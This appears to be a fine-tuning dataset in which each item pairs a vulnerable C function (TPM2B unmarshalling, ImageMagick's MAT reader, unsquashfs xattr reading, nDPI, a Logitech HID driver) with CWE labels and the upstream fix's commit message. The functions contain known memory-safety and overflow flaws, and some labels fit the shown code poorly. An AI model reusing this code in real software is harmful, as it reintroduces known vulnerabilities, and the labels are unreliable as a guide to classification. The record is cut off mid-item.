+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TPM2B_Unmarshal(TPM2B *target, UINT16 targetSize, BYTE **buffer, INT32 *size)\n{\n    TPM_RC rc = TPM_RC_SUCCESS;\n\n    if (rc == TPM_RC_SUCCESS) {\n\trc = UINT16_Unmarshal(&target->size, buffer, size);\n    }\n    if (rc == TPM_RC_SUCCESS) {\n\tif (target->size > targetSize) {\n\t    rc = TPM_RC_SIZE;\n\t}\n    }\n    if (rc == TPM_RC_SUCCESS) {\n\trc = Array_Unmarshal(target->buffer, target->size, buffer, size);\n    }\n    return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'tpm2: Reset TPM2B buffer sizes after test fails for valid buffer size\n\nReset the buffer size indicator in a TPM2B type of buffer after it failed\nthe test for the maximum buffer size it allows. This prevents having bad\nbuffer sizes in memory that can come to haunt us when writing the volatile\nstate for example.\n\nSigned-off-by: Stefan Berger '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static Image *ReadMATImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n  Image *image, *image2=NULL,\n   *rotated_image;\n  register Quantum *q;\n\n  unsigned int status;\n  MATHeader MATLAB_HDR;\n  size_t size;\n  size_t CellType;\n  QuantumInfo *quantum_info;\n  ImageInfo *clone_info;\n  int i;\n  ssize_t ldblk;\n  unsigned char *BImgBuff = NULL;\n  double MinVal, MaxVal;\n  unsigned z, z2;\n  unsigned Frames;\n  int logging;\n  int sample_size;\n  MagickOffsetType filepos=0x80;\n  BlobInfo *blob;\n  size_t one;\n\n  unsigned int (*ReadBlobXXXLong)(Image *image);\n  unsigned short (*ReadBlobXXXShort)(Image *image);\n  void (*ReadBlobDoublesXXX)(Image * image, size_t len, double *data);\n  void (*ReadBlobFloatsXXX)(Image * image, size_t len, float *data);\n\n\n  assert(image_info != (const ImageInfo *) NULL);\n  assert(image_info->signature == MagickCoreSignature);\n  assert(exception != (ExceptionInfo *) NULL);\n  assert(exception->signature == MagickCoreSignature);\n  logging = LogMagickEvent(CoderEvent,GetMagickModule(),\"enter\");\n\n  /*\n     Open image file.\n   */\n  image = AcquireImage(image_info,exception);\n\n  status = OpenBlob(image_info, image, ReadBinaryBlobMode, exception);\n  if (status == MagickFalse)\n    {\n      image=DestroyImageList(image);\n      return((Image *) NULL);\n    }\n  /*\n     Read MATLAB image.\n   */\n  quantum_info=(QuantumInfo *) NULL;\n  clone_info=(ImageInfo *) NULL;\n  if (ReadBlob(image,124,(unsigned char *) &MATLAB_HDR.identific) != 124)\n    ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n  if (strncmp(MATLAB_HDR.identific,\"MATLAB\",6) != 0)\n    {\n      image2=ReadMATImageV4(image_info,image,exception);\n      if (image2  == NULL)\n        goto MATLAB_KO;\n      image=image2;\n      goto END_OF_READING;\n    }\n  MATLAB_HDR.Version = ReadBlobLSBShort(image);\n  if(ReadBlob(image,2,(unsigned char *) &MATLAB_HDR.EndianIndicator) != 2)\n    ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n\n  if (logging)\n    (void) LogMagickEvent(CoderEvent,GetMagickModule(),\"  Endian %c%c\",\n      MATLAB_HDR.EndianIndicator[0],MATLAB_HDR.EndianIndicator[1]);\n  if (!strncmp(MATLAB_HDR.EndianIndicator, \"IM\", 2))\n  {\n    ReadBlobXXXLong = ReadBlobLSBLong;\n    ReadBlobXXXShort = ReadBlobLSBShort;\n    ReadBlobDoublesXXX = ReadBlobDoublesLSB;\n    ReadBlobFloatsXXX = ReadBlobFloatsLSB;\n    image->endian = LSBEndian;\n  }\n  else if (!strncmp(MATLAB_HDR.EndianIndicator, \"MI\", 2))\n  {\n    ReadBlobXXXLong = ReadBlobMSBLong;\n    ReadBlobXXXShort = ReadBlobMSBShort;\n    ReadBlobDoublesXXX = ReadBlobDoublesMSB;\n    ReadBlobFloatsXXX = ReadBlobFloatsMSB;\n    image->endian = MSBEndian;\n  }\n  else\n    goto MATLAB_KO;    /* unsupported endian */\n\n  if (strncmp(MATLAB_HDR.identific, \"MATLAB\", 6))\nMATLAB_KO: ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n\n  filepos = TellBlob(image);\n  while(!EOFBlob(image)) /* object parser loop */\n  {\n    Frames = 1;\n    (void) SeekBlob(image,filepos,SEEK_SET);\n    /* printf(\"pos=%X\\n\",TellBlob(image)); */\n\n    MATLAB_HDR.DataType = ReadBlobXXXLong(image);\n    if(EOFBlob(image)) break;\n    MATLAB_HDR.ObjectSize = ReadBlobXXXLong(image);\n    if(EOFBlob(image)) break;\n    if(MATLAB_HDR.ObjectSize+filepos > GetBlobSize(image))\n      goto MATLAB_KO;\n    filepos += MATLAB_HDR.ObjectSize + 4 + 4;\n\n    clone_info=CloneImageInfo(image_info);\n    image2 = image;\n#if defined(MAGICKCORE_ZLIB_DELEGATE)\n    if(MATLAB_HDR.DataType == miCOMPRESSED)\n    {\n      image2 = decompress_block(image,&MATLAB_HDR.ObjectSize,clone_info,exception);\n      if(image2==NULL) continue;\n      MATLAB_HDR.DataType = ReadBlobXXXLong(image2); /* replace compressed object type. */\n    }\n#endif\n\n    if(MATLAB_HDR.DataType!=miMATRIX) continue;  /* skip another objects. */\n\n    MATLAB_HDR.unknown1 = ReadBlobXXXLong(image2);\n    MATLAB_HDR.unknown2 = ReadBlobXXXLong(image2);\n\n    MATLAB_HDR.unknown5 = ReadBlobXXXLong(image2);\n    MATLAB_HDR.StructureClass = MATLAB_HDR.unknown5 & 0xFF;\n    MATLAB_HDR.StructureFlag = (MATLAB_HDR.unknown5>>8) & 0xFF;\n\n    MATLAB_HDR.unknown3 = ReadBlobXXXLong(image2);\n    if(image!=image2)\n      MATLAB_HDR.unknown4 = ReadBlobXXXLong(image2);  /* ??? don't understand why ?? */\n    MATLAB_HDR.unknown4 = ReadBlobXXXLong(image2);\n    MATLAB_HDR.DimFlag = ReadBlobXXXLong(image2);\n    MATLAB_HDR.SizeX = ReadBlobXXXLong(image2);\n    MATLAB_HDR.SizeY = ReadBlobXXXLong(image2);\n\n\n    switch(MATLAB_HDR.DimFlag)\n    {\n      case  8: z2=z=1; break;      /* 2D matrix*/\n      case 12: z2=z = ReadBlobXXXLong(image2);  /* 3D matrix RGB*/\n           (void) ReadBlobXXXLong(image2);\n         if(z!=3) ThrowReaderException(CoderError, \"MultidimensionalMatricesAreNotSupported\");\n         break;\n      case 16: z2=z = ReadBlobXXXLong(image2);  /* 4D matrix animation */\n         if(z!=3 && z!=1)\n            ThrowReaderException(CoderError, \"MultidimensionalMatricesAreNotSupported\");\n         Frames = ReadBlobXXXLong(image2);\n         if (Frames == 0)\n           ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n         break;\n      default: ThrowReaderException(CoderError, \"MultidimensionalMatricesAreNotSupported\");\n    }\n\n    MATLAB_HDR.Flag1 = ReadBlobXXXShort(image2);\n    MATLAB_HDR.NameFlag = ReadBlobXXXShort(image2);\n\n    if (logging) (void)LogMagickEvent(CoderEvent,GetMagickModule(),\n          \"MATLAB_HDR.StructureClass %d\",MATLAB_HDR.StructureClass);\n    if (MATLAB_HDR.StructureClass != mxCHAR_CLASS &&\n        MATLAB_HDR.StructureClass != mxSINGLE_CLASS &&    /* float + complex float */\n        MATLAB_HDR.StructureClass != mxDOUBLE_CLASS &&    /* double + complex double */\n        MATLAB_HDR.StructureClass != mxINT8_CLASS &&\n        MATLAB_HDR.StructureClass != mxUINT8_CLASS &&    /* uint8 + uint8 3D */\n        MATLAB_HDR.StructureClass != mxINT16_CLASS &&\n        MATLAB_HDR.StructureClass != mxUINT16_CLASS &&    /* uint16 + uint16 3D */\n        MATLAB_HDR.StructureClass != mxINT32_CLASS &&\n        MATLAB_HDR.StructureClass != mxUINT32_CLASS &&    /* uint32 + uint32 3D */\n        MATLAB_HDR.StructureClass != mxINT64_CLASS &&\n        MATLAB_HDR.StructureClass != mxUINT64_CLASS)    /* uint64 + uint64 3D */\n      ThrowReaderException(CoderError,\"UnsupportedCellTypeInTheMatrix\");\n\n    switch (MATLAB_HDR.NameFlag)\n    {\n      case 0:\n        size = ReadBlobXXXLong(image2);  /* Object name string size */\n        size = 4 * (ssize_t) ((size + 3 + 1) / 4);\n        (void) SeekBlob(image2, size, SEEK_CUR);\n        break;\n      case 1:\n      case 2:\n      case 3:\n      case 4:\n        (void) ReadBlob(image2, 4, (unsigned char *) &size); /* Object name string */\n        break;\n      default:\n        goto MATLAB_KO;\n    }\n\n    CellType = ReadBlobXXXLong(image2);    /* Additional object type */\n    if (logging)\n      (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n        \"MATLAB_HDR.CellType: %.20g\",(double) CellType);\n\n    (void) ReadBlob(image2, 4, (unsigned char *) &size);     /* data size */\n\n    NEXT_FRAME:\n    switch (CellType)\n    {\n      case miINT8:\n      case miUINT8:\n        sample_size = 8;\n        if(MATLAB_HDR.StructureFlag & FLAG_LOGICAL)\n          image->depth = 1;\n        else\n          image->depth = 8;         /* Byte type cell */\n        ldblk = (ssize_t) MATLAB_HDR.SizeX;\n        break;\n      case miINT16:\n      case miUINT16:\n        sample_size = 16;\n        image->depth = 16;        /* Word type cell */\n        ldblk = (ssize_t) (2 * MATLAB_HDR.SizeX);\n        break;\n      case miINT32:\n      case miUINT32:\n        sample_size = 32;\n        image->depth = 32;        /* Dword type cell */\n        ldblk = (ssize_t) (4 * MATLAB_HDR.SizeX);\n        break;\n      case miINT64:\n      case miUINT64:\n        sample_size = 64;\n        image->depth = 64;        /* Qword type cell */\n        ldblk = (ssize_t) (8 * MATLAB_HDR.SizeX);\n        break;\n      case miSINGLE:\n        sample_size = 32;\n        image->depth = 32;        /* double type cell */\n        (void) SetImageOption(clone_info,\"quantum:format\",\"floating-point\");\n        if (MATLAB_HDR.StructureFlag & FLAG_COMPLEX)\n  {              /* complex float type cell */\n  }\n        ldblk = (ssize_t) (4 * MATLAB_HDR.SizeX);\n        break;\n      case miDOUBLE:\n        sample_size = 64;\n        image->depth = 64;        /* double type cell */\n        (void) SetImageOption(clone_info,\"quantum:format\",\"floating-point\");\nDisableMSCWarning(4127)\n        if (sizeof(double) != 8)\nRestoreMSCWarning\n          ThrowReaderException(CoderError, \"IncompatibleSizeOfDouble\");\n        if (MATLAB_HDR.StructureFlag & FLAG_COMPLEX)\n  {                         /* complex double type cell */\n  }\n        ldblk = (ssize_t) (8 * MATLAB_HDR.SizeX);\n        break;\n      default:\n        ThrowReaderException(CoderError, \"UnsupportedCellTypeInTheMatrix\");\n    }\n    (void) sample_size;\n    image->columns = MATLAB_HDR.SizeX;\n    image->rows = MATLAB_HDR.SizeY;\n    one=1;\n    image->colors = one << image->depth;\n    if (image->columns == 0 || image->rows == 0)\n      goto MATLAB_KO;\n    if((unsigned long)ldblk*MATLAB_HDR.SizeY > MATLAB_HDR.ObjectSize)\n      goto MATLAB_KO;\n    /* Image is gray when no complex flag is set and 2D Matrix */\n    if ((MATLAB_HDR.DimFlag == 8) &&\n        ((MATLAB_HDR.StructureFlag & FLAG_COMPLEX) == 0))\n      {\n        image->type=GrayscaleType;\n        SetImageColorspace(image,GRAYColorspace,exception);\n      }\n\n\n    /*\n      If ping is true, then only set image size and colors without\n      reading any image data.\n    */\n    if (image_info->ping)\n    {\n      size_t temp = image->columns;\n      image->columns = image->rows;\n      image->rows = temp;\n      goto done_reading; /* !!!!!! BAD  !!!! */\n    }\n    status=SetImageExtent(image,image->columns,image->rows,exception);\n    if (status == MagickFalse)\n      return(DestroyImageList(image));\n    quantum_info=AcquireQuantumInfo(clone_info,image);\n    if (quantum_info == (QuantumInfo *) NULL)\n      ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n\n  /* ----- Load raster data ----- */\n    BImgBuff = (unsigned char *) AcquireQuantumMemory((size_t) (ldblk),sizeof(double));    /* Ldblk was set in the check phase */\n    if (BImgBuff == NULL)\n      ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n    (void) ResetMagickMemory(BImgBuff,0,ldblk*sizeof(double));\n\n    MinVal = 0;\n    MaxVal = 0;\n    if (CellType==miDOUBLE || CellType==miSINGLE)        /* Find Min and Max Values for floats */\n    {\n      CalcMinMax(image2, image_info->endian,  MATLAB_HDR.SizeX, MATLAB_HDR.SizeY, CellType, ldblk, BImgBuff, &quantum_info->minimum, &quantum_info->maximum);\n    }\n\n    /* Main loop for reading all scanlines */\n    if(z==1) z=0; /* read grey scanlines */\n    /* else read color scanlines */\n    do\n    {\n      for (i = 0; i < (ssize_t) MATLAB_HDR.SizeY; i++)\n      {\n        q=GetAuthenticPixels(image,0,MATLAB_HDR.SizeY-i-1,image->columns,1,exception);\n        if (q == (Quantum *) NULL)\n  {\n    if (logging) (void)LogMagickEvent(CoderEvent,GetMagickModule(),\n              \"  MAT set image pixels returns unexpected NULL on a row %u.\", (unsigned)(MATLAB_HDR.SizeY-i-1));\n    goto done_reading;    /* Skip image rotation, when cannot set image pixels    */\n  }\n        if(ReadBlob(image2,ldblk,(unsigned char *)BImgBuff) != (ssize_t) ldblk)\n  {\n    if (logging) (void)LogMagickEvent(CoderEvent,GetMagickModule(),\n             \"  MAT cannot read scanrow %u from a file.\", (unsigned)(MATLAB_HDR.SizeY-i-1));\n    goto ExitLoop;\n  }\n        if((CellType==miINT8 || CellType==miUINT8) && (MATLAB_HDR.StructureFlag & FLAG_LOGICAL))\n        {\n          FixLogical((unsigned char *)BImgBuff,ldblk);\n          if(ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,z2qtype[z],BImgBuff,exception) <= 0)\n    {\nImportQuantumPixelsFailed:\n      if (logging) (void)LogMagickEvent(CoderEvent,GetMagickModule(),\n              \"  MAT failed to ImportQuantumPixels for a row %u\", (unsigned)(MATLAB_HDR.SizeY-i-1));\n      break;\n    }\n        }\n        else\n        {\n          if(ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,z2qtype[z],BImgBuff,exception) <= 0)\n      goto ImportQuantumPixelsFailed;\n\n\n          if (z<=1 &&       /* fix only during a last pass z==0 || z==1 */\n          (CellType==miINT8 || CellType==miINT16 || CellType==miINT32 || CellType==miINT64))\n      FixSignedValues(image,q,MATLAB_HDR.SizeX);\n        }\n\n        if (!SyncAuthenticPixels(image,exception))\n  {\n    if (logging) (void)LogMagickEvent(CoderEvent,GetMagickModule(),\n            \"  MAT failed to sync image pixels for a row %u\", (unsigned)(MATLAB_HDR.SizeY-i-1));\n    goto ExitLoop;\n  }\n      }\n    } while(z-- >= 2);\nExitLoop:\n\n\n    /* Read complex part of numbers here */\n    if (MATLAB_HDR.StructureFlag & FLAG_COMPLEX)\n    {        /* Find Min and Max Values for complex parts of floats */\n      CellType = ReadBlobXXXLong(image2);    /* Additional object type */\n      i = ReadBlobXXXLong(image2);           /* size of a complex part - toss away*/\n\n      if (CellType==miDOUBLE || CellType==miSINGLE)\n      {\n        CalcMinMax(image2,  image_info->endian, MATLAB_HDR.SizeX, MATLAB_HDR.SizeY, CellType, ldblk, BImgBuff, &MinVal, &MaxVal);\n      }\n\n      if (CellType==miDOUBLE)\n        for (i = 0; i < (ssize_t) MATLAB_HDR.SizeY; i++)\n  {\n          ReadBlobDoublesXXX(image2, ldblk, (double *)BImgBuff);\n          InsertComplexDoubleRow(image, (double *)BImgBuff, i, MinVal, MaxVal,\n            exception);\n  }\n\n      if (CellType==miSINGLE)\n        for (i = 0; i < (ssize_t) MATLAB_HDR.SizeY; i++)\n  {\n          ReadBlobFloatsXXX(image2, ldblk, (float *)BImgBuff);\n          InsertComplexFloatRow(image,(float *)BImgBuff,i,MinVal,MaxVal,\n            exception);\n  }\n    }\n\n      /* Image is gray when no complex flag is set and 2D Matrix AGAIN!!! */\n    if ((MATLAB_HDR.DimFlag == 8) &&\n        ((MATLAB_HDR.StructureFlag & FLAG_COMPLEX) == 0))\n      image->type=GrayscaleType;\n    if (image->depth == 1)\n      image->type=BilevelType;\n\n    if(image2==image)\n        image2 = NULL;    /* Remove shadow copy to an image before rotation. */\n\n      /*  Rotate image. */\n    rotated_image = RotateImage(image, 90.0, exception);\n    if (rotated_image != (Image *) NULL)\n    {\n        /* Remove page offsets added by RotateImage */\n      rotated_image->page.x=0;\n      rotated_image->page.y=0;\n\n      blob = rotated_image->blob;\n      rotated_image->blob = image->blob;\n      rotated_image->colors = image->colors;\n      image->blob = blob;\n      AppendImageToList(&image,rotated_image);\n      DeleteImageFromList(&image);\n    }\n\ndone_reading:\n\n    if(image2!=NULL)\n      if(image2!=image)\n      {\n        DeleteImageFromList(&image2);\n  if(clone_info)\n  {\n          if(clone_info->file)\n    {\n            fclose(clone_info->file);\n            clone_info->file = NULL;\n            (void) remove_utf8(clone_info->filename);\n    }\n        }\n      }\n\n      /* Allocate next image structure. */\n    AcquireNextImage(image_info,image,exception);\n    if (image->next == (Image *) NULL) break;\n    image=SyncNextImageInList(image);\n    image->columns=image->rows=0;\n    image->colors=0;\n\n      /* row scan buffer is no longer needed */\n    RelinquishMagickMemory(BImgBuff);\n    BImgBuff = NULL;\n\n    if(--Frames>0)\n    {\n      z = z2;\n      if(image2==NULL) image2 = image;\n      goto NEXT_FRAME;\n    }\n    if ((image2!=NULL) && (image2!=image))   /* Does shadow temporary decompressed image exist? */\n      {\n/*  CloseBlob(image2); */\n        DeleteImageFromList(&image2);\n        if(clone_info)\n        {\n          if(clone_info->file)\n          {\n            fclose(clone_info->file);\n            clone_info->file = NULL;\n            (void) remove_utf8(clone_info->filename);\n          }\n        }\n        }\n  }\n\n  RelinquishMagickMemory(BImgBuff);\n  if (quantum_info != (QuantumInfo *) NULL)\n    quantum_info=DestroyQuantumInfo(quantum_info);\nEND_OF_READING:\n  if (clone_info)\n    clone_info=DestroyImageInfo(clone_info);\n  CloseBlob(image);\n\n\n  {\n    Image *p;\n    ssize_t scene=0;\n\n    /*\n      Rewind list, removing any empty images while rewinding.\n    */\n    p=image;\n    image=NULL;\n    while (p != (Image *) NULL)\n      {\n        Image *tmp=p;\n        if ((p->rows == 0) || (p->columns == 0)) {\n          p=p->previous;\n          DeleteImageFromList(&tmp);\n        } else {\n          image=p;\n          p=p->previous;\n        }\n      }\n\n    /*\n      Fix scene numbers\n    */\n    for (p=image; p != (Image *) NULL; p=p->next)\n      p->scene=scene++;\n  }\n\n  if(clone_info != NULL)  /* cleanup garbage file from compression */\n  {\n    if(clone_info->file)\n    {\n      fclose(clone_info->file);\n      clone_info->file = NULL;\n      (void) remove_utf8(clone_info->filename);\n    }\n    DestroyImageInfo(clone_info);\n    clone_info = NULL;\n  }\n  if (logging) (void)LogMagickEvent(CoderEvent,GetMagickModule(),\"return\");\n  if(image==NULL)\n    ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n  return (image);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-772', 'CWE-401'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/553'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int read_xattrs_from_disk(int fd, struct squashfs_super_block *sBlk, int flag, long long *table_start)\n{\n\tint res, bytes, i, indexes, index_bytes, ids;\n\tlong long *index, start, end;\n\tstruct squashfs_xattr_table id_table;\n\n\tTRACE(\"read_xattrs_from_disk\\n\");\n\n\tif(sBlk->xattr_id_table_start == SQUASHFS_INVALID_BLK)\n\t\treturn SQUASHFS_INVALID_BLK;\n\n\t/*\n\t * Read xattr id table, containing start of xattr metadata and the\n\t * number of xattrs in the file system\n\t */\n\tres = read_fs_bytes(fd, sBlk->xattr_id_table_start, sizeof(id_table),\n\t\t&id_table);\n\tif(res == 0)\n\t\treturn 0;\n\n\tSQUASHFS_INSWAP_XATTR_TABLE(&id_table);\n\n\tif(flag) {\n\t\t/*\n\t\t * id_table.xattr_table_start stores the start of the compressed xattr\n\t\t * * metadata blocks.  This by definition is also the end of the previous\n\t\t * filesystem table - the id lookup table.\n\t\t */\n\t\t*table_start = id_table.xattr_table_start;\n\t\treturn id_table.xattr_ids;\n\t}\n\n\t/*\n\t * Allocate and read the index to the xattr id table metadata\n\t * blocks\n\t */\n\tids = id_table.xattr_ids;\n\txattr_table_start = id_table.xattr_table_start;\n\tindex_bytes = SQUASHFS_XATTR_BLOCK_BYTES(ids);\n\tindexes = SQUASHFS_XATTR_BLOCKS(ids);\n\tindex = malloc(index_bytes);\n\tif(index == NULL)\n\t\tMEM_ERROR();\n\n\tres = read_fs_bytes(fd, sBlk->xattr_id_table_start + sizeof(id_table),\n\t\tindex_bytes, index);\n\tif(res ==0)\n\t\tgoto failed1;\n\n\tSQUASHFS_INSWAP_LONG_LONGS(index, indexes);\n\n\t/*\n\t * Allocate enough space for the uncompressed xattr id table, and\n\t * read and decompress it\n\t */\n\tbytes = SQUASHFS_XATTR_BYTES(ids);\n\txattr_ids = malloc(bytes);\n\tif(xattr_ids == NULL)\n\t\tMEM_ERROR();\n\n\tfor(i = 0; i < indexes; i++) {\n\t\tint expected = (i + 1) != indexes ? SQUASHFS_METADATA_SIZE :\n\t\t\t\t\tbytes & (SQUASHFS_METADATA_SIZE - 1);\n\t\tint length = read_block(fd, index[i], NULL, expected,\n\t\t\t((unsigned char *) xattr_ids) +\n\t\t\t(i * SQUASHFS_METADATA_SIZE));\n\t\tTRACE(\"Read xattr id table block %d, from 0x%llx, length \"\n\t\t\t\"%d\\n\", i, index[i], length);\n\t\tif(length == 0) {\n\t\t\tERROR(\"Failed to read xattr id table block %d, \"\n\t\t\t\t\"from 0x%llx, length %d\\n\", i, index[i],\n\t\t\t\tlength);\n\t\t\tgoto failed2;\n\t\t}\n\t}\n\n\t/*\n\t * Read and decompress the xattr metadata\n\t *\n\t * Note the first xattr id table metadata block is immediately after\n\t * the last xattr metadata block, so we can use index[0] to work out\n\t * the end of the xattr metadata\n\t */\n\tstart = xattr_table_start;\n\tend = index[0];\n\tfor(i = 0; start < end; i++) {\n\t\tint length;\n\t\txattrs = realloc(xattrs, (i + 1) * SQUASHFS_METADATA_SIZE);\n\t\tif(xattrs == NULL)\n\t\t\tMEM_ERROR();\n\n\t\t/* store mapping from location of compressed block in fs ->\n\t\t * location of uncompressed block in memory */\n\t\tsave_xattr_block(start, i * SQUASHFS_METADATA_SIZE);\n\n\t\tlength = read_block(fd, start, &start, 0,\n\t\t\t((unsigned char *) xattrs) +\n\t\t\t(i * SQUASHFS_METADATA_SIZE));\n\t\tTRACE(\"Read xattr block %d, length %d\\n\", i, length);\n\t\tif(length == 0) {\n\t\t\tERROR(\"Failed to read xattr block %d\\n\", i);\n\t\t\tgoto failed3;\n\t\t}\n\n\t\t/*\n\t\t * If this is not the last metadata block in the xattr metadata\n\t\t * then it should be SQUASHFS_METADATA_SIZE in size.\n\t\t * Note, we can't use expected in read_block() above for this\n\t\t * because we don't know if this is the last block until\n\t\t * after reading.\n\t\t */\n\t\tif(start != end && length != SQUASHFS_METADATA_SIZE) {\n\t\t\tERROR(\"Xattr block %d should be %d bytes in length, \"\n\t\t\t\t\"it is %d bytes\\n\", i, SQUASHFS_METADATA_SIZE,\n\t\t\t\tlength);\n\t\t\tgoto failed3;\n\t\t}\n\t}\n\n\t/* swap if necessary the xattr id entries */\n\tfor(i = 0; i < ids; i++)\n\t\tSQUASHFS_INSWAP_XATTR_ID(&xattr_ids[i]);\n\n\tfree(index);\n\n\treturn ids;\n\nfailed3:\n\tfree(xattrs);\nfailed2:\n\tfree(xattr_ids);\nfailed1:\n\tfree(index);\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-190'], 'message': 'unsquashfs-4: Add more sanity checks + fix CVE-2015-4645/6\n\nAdd more filesystem table sanity checks to Unsquashfs-4 and\nalso properly fix CVE-2015-4645 and CVE-2015-4646.\n\nThe CVEs were raised due to Unsquashfs having variable\noveflow and stack overflow in a number of vulnerable\nfunctions.\n\nThe suggested patch only \"fixed\" one such function and fixed\nit badly, and so it was buggy and introduced extra bugs!\n\nThe suggested patch was not only buggy, but, it used the\nessentially wrong approach too.  It was \"fixing\" the\nsymptom but not the cause.  The symptom is wrong values\ncausing overflow, the cause is filesystem corruption.\nThis corruption should be detected and the filesystem\nrejected *before* trying to allocate memory.\n\nThis patch applies the following fixes:\n\n1. The filesystem super-block tables are checked, and the values\n   must match across the filesystem.\n\n   This will trap corrupted filesystems created by Mksquashfs.\n\n2. The maximum (theorectical) size the filesystem tables could grow\n   to, were analysed, and some variables were increased from int to\n   long long.\n\n   This analysis has been added as comments.\n\n3. Stack allocation was removed, and a shared buffer (which is\n   checked and increased as necessary) is used to read the\n   table indexes.\n\nSigned-off-by: Phillip Lougher '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void ndpi_reset_packet_line_info(struct ndpi_packet_struct *packet) {\n  packet->parsed_lines = 0, packet->empty_line_position_set = 0, packet->host_line.ptr = NULL,\n    packet->host_line.len = 0, packet->referer_line.ptr = NULL, packet->referer_line.len = 0,\n    packet->content_line.ptr = NULL, packet->content_line.len = 0, packet->accept_line.ptr = NULL,\n    packet->accept_line.len = 0, packet->user_agent_line.ptr = NULL, packet->user_agent_line.len = 0,\n    packet->http_url_name.ptr = NULL, packet->http_url_name.len = 0, packet->http_encoding.ptr = NULL,\n    packet->http_encoding.len = 0, packet->http_transfer_encoding.ptr = NULL, packet->http_transfer_encoding.len = 0,\n    packet->http_contentlen.ptr = NULL, packet->http_contentlen.len = 0, packet->http_cookie.ptr = NULL,\n    packet->http_cookie.len = 0, packet->http_origin.len = 0, packet->http_origin.ptr = NULL,\n    packet->http_x_session_type.ptr = NULL, packet->http_x_session_type.len = 0, packet->server_line.ptr = NULL,\n    packet->server_line.len = 0, packet->http_method.ptr = NULL, packet->http_method.len = 0,\n    packet->http_response.ptr = NULL, packet->http_response.len = 0, packet->http_num_headers = 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416', 'CWE-787'], 'message': 'Fixed use after free caused by dangling pointer\n\n * This fix also improved RCE Injection detection\n\nSigned-off-by: Toni Uhlig '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int logi_dj_ll_raw_request(struct hid_device *hid,\n\t\t\t\t  unsigned char reportnum, __u8 *buf,\n\t\t\t\t  size_t count, unsigned char report_type,\n\t\t\t\t  int reqtype)\n{\n\tstruct dj_device *djdev = hid->driver_data;\n\tstruct dj_receiver_dev *djrcv_dev = djdev->dj_receiver_dev;\n\tu8 *out_buf;\n\tint ret;\n\n\tif (buf[0] != REPORT_TYPE_LEDS)\n\t\treturn -EINVAL;\n\n\tout_buf = kzalloc(DJREPORT_SHORT_LENGTH, GFP_ATOMIC);\n\tif (!out_buf)\n\t\treturn -ENOMEM;\n\n\tif (count < DJREPORT_SHORT_LENGTH - 2)\n\t\tcount = DJREPORT_SHORT_LENGTH - 2;\n\n\tout_buf[0] = REPORT_ID_DJ_SHORT;\n\tout_buf[1] = djdev->device_index;\n\tmemcpy(out_buf + 2, buf, count);\n\n\tret = hid_hw_raw_request(djrcv_dev->hdev, out_buf[0], out_buf,\n\t\tDJREPORT_SHORT_LENGTH, report_type, reqtype);\n\n\tkfree(out_buf);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'HID: logitech: fix bounds checking on LED report size\n\nThe check on report size for REPORT_TYPE_LEDS in logi_dj_ll_raw_request()\nis wrong; the current check doesn't make any sense -- the report allocated\nby HID core in hid_hw_raw_request() can be much larger than\nDJREPORT_SHORT_LENGTH, and currently logi_dj_ll_raw_request() doesn't\nhandle this properly at all.\n\nFix the check by actually trimming down the report size properly if it is\ntoo large.\n\nCc: stable@vger.kernel.org\nReported-by: Ben Hawkes \nReviewed-by: Benjamin Tissoires \nSigned-off-by: Jiri Kosina '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: sasl_handle_login(struct sasl_session *const restrict p, struct user *const u, struct myuser *mu)\n{\n\tbool was_killed = false;\n\n\t// Find the account if necessary\n\tif (! mu)\n\t{\n\t\tif (! *p->authzeid)\n\t\t{\n\t\t\t(void) slog(LG_INFO, \"%s: session for '%s' without an authzeid (BUG)\",\n\t\t\t                     MOWGLI_FUNC_NAME, u->nick);\n\t\t\t(void) notice(saslsvs->nick, u->nick, LOGIN_CANCELLED_STR);\n\t\t\treturn false;\n\t\t}\n\n\t\tif (! (mu = myuser_find_uid(p->authzeid)))\n\t\t{\n\t\t\tif (*p->authzid)\n\t\t\t\t(void) notice(saslsvs->nick, u->nick, \"Account %s dropped; login cancelled\",\n\t\t\t\t                                      p->authzid);\n\t\t\telse\n\t\t\t\t(void) 